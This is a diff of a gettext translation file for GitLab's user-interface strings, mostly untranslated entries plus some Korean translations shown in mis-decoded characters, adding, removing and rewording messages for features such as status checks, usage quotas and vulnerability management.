+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31397,6 +31966,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31445,18 +32017,9 @@ msgstr "최신 버전 보기"
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr "부모 페ì´ì§€ 보기"
-
-msgid "Show parent subgroups"
-msgstr "부모 하위 그룹 보기"
-
msgid "Show the Closed list"
msgstr ""
@@ -31819,6 +32382,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -31903,9 +32472,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32182,9 +32748,6 @@ msgstr "소스 (브랜치 ë˜ëŠ” 태그)"
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32203,6 +32766,33 @@ msgstr "소스를 사용할 수 없습니다."
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32356,9 +32946,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr "시작ì¼ê³¼ 마ê°ì¼"
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32503,6 +33090,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32524,7 +33114,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32533,6 +33123,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32554,6 +33147,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32569,6 +33168,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33552,10 +34154,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -33807,7 +34409,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -33843,7 +34445,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34048,9 +34653,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34183,9 +34785,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34240,6 +34839,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34336,9 +34938,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34351,9 +34950,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34729,6 +35325,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34747,12 +35346,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr "ì´ ë‚ ì§œëŠ” 마ê°ì¼ ì´í›„ì´ë¯€ë¡œ ì´ ì—í”½ì€ ë¡œë“œë§µì— ë‚˜íƒ€ë‚˜ì§€ 않습니다."
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -34801,6 +35394,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -34855,12 +35454,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -34870,6 +35472,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35005,9 +35610,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr "ì´ ë¨¸ì§€ 리퀘스트(MR)는 잠겨있습니다."
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35050,6 +35652,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35149,7 +35754,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35691,6 +36296,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35715,6 +36323,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -35820,10 +36431,10 @@ msgstr "ë‚´ì¼"
msgid "Too many changes to show."
msgstr "표시 í•  변경 ì‚¬í•­ì´ ë„ˆë¬´ 많습니다."
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -35844,9 +36455,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -35907,6 +36515,9 @@ msgstr "퀵 ì•¡ì…˜ 시간 추ì "
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36076,7 +36687,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36133,6 +36744,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36331,9 +36948,6 @@ msgstr "ì°¨ì´ì ì„ ì½ì–´ë“¤ì¼ 수 없습니다. %{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36439,6 +37053,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36523,9 +37140,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36634,6 +37248,9 @@ msgstr ""
msgid "Updating"
msgstr "ì—…ë°ì´íŠ¸ì¤‘..."
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36676,6 +37293,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36685,9 +37305,6 @@ msgstr "업로드하려면 í´ë¦­í•˜ì‹­ì‹œì˜¤."
msgid "Uploading changes to terminal"
msgstr "터미ë„ì— ë³€ê²½ 사항 업로드 중"
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36700,9 +37317,6 @@ msgstr ""
msgid "Upvotes"
msgstr "추천"
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36757,12 +37371,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr "ì¼ì‹œì ìœ¼ë¡œ 저장 공간 확장"
-msgid "UsageQuota|LFS Objects"
-msgstr "LFS ê°ì²´"
-
-msgid "UsageQuota|LFS Storage"
-msgstr "LFS 저장소"
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36772,9 +37380,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr "패키지"
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36787,9 +37401,6 @@ msgstr "추가 저장 공간 구매"
msgid "UsageQuota|Purchased storage available"
msgstr "구매한 저장 공간 사용 가능"
-msgid "UsageQuota|Repositories"
-msgstr "저장소"
-
msgid "UsageQuota|Repository"
msgstr "저장소"
@@ -36823,18 +37434,6 @@ msgstr "ì´ ë„¤ìž„ìŠ¤íŽ˜ì´ìŠ¤ì—는 잠긴 프로ì íŠ¸ê°€ í¬í•¨ë˜ì–´ 있습ë
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr "ì´ ë„¤ìž„ìŠ¤íŽ˜ì´ìŠ¤ì—는 공유 러너를 사용하는 프로ì íŠ¸ê°€ 없습니다."
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -36880,9 +37479,6 @@ msgstr "위키"
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr "위키"
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37075,9 +37671,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37381,9 +37974,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37609,6 +38199,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr "ê²€ì¦ë¨"
@@ -37633,6 +38235,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37728,6 +38333,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -37837,6 +38445,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -37849,9 +38460,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -37867,6 +38475,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -37876,7 +38487,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -37888,6 +38502,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -37912,9 +38529,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -37927,10 +38550,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38104,7 +38727,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38410,6 +39033,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr "Runnerê°€ 잠겨 있으면 다른 프로ì íŠ¸ì— 할당 í•  수 없습니다"
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38422,7 +39048,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38594,6 +39220,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38603,7 +39235,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38717,6 +39349,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -38990,14 +39625,11 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr "ë¸Œëžœì¹˜ì— ìžˆì„ ë•Œë§Œ 파ì¼ì„ 편집할 수 있습니다."
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
-msgstr ""
+msgid "You can only edit files when you are on a branch"
+msgstr "ë¸Œëžœì¹˜ì— ìžˆì„ ë•Œë§Œ 파ì¼ì„ 편집할 수 있습니다."
msgid "You can only transfer the project to namespaces you manage."
msgstr ""
@@ -39032,6 +39664,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39062,12 +39697,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39119,6 +39760,10 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39167,6 +39812,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39302,9 +39950,6 @@ msgstr "ë‹¹ì‹ ì€ ë‹¹ì‹ ì´ @mentioned í•œ ì½”ë©˜íŠ¸ì— ëŒ€í•´ì„œë§Œ 통지를 ë
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39389,7 +40034,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39455,6 +40100,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39647,6 +40298,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39660,15 +40314,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39678,6 +40326,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39742,9 +40393,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -39839,6 +40487,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -39872,9 +40523,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40044,6 +40692,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40053,6 +40704,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40075,6 +40729,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40111,6 +40768,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40476,21 +41136,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40642,9 +41290,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40673,13 +41318,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40691,6 +41336,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr "브랜치를 ë³µì›í•˜ê±°ë‚˜ 다른 %{missingBranchName} 브랜치를 사용해주세요."
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40709,9 +41357,6 @@ msgstr "%{metricsLinkStart} 메모리 사용률 %{metricsLinkEnd} ì´ %{memoryFr
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr "%{metricsLinkStart} 메모리 사용률 %{metricsLinkEnd} ì´ %{memoryFrom}MB ì—ì„œ %{emphasisStart} 변하지 않았습니다. %{emphasisEnd}"
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40754,9 +41399,6 @@ msgstr ""
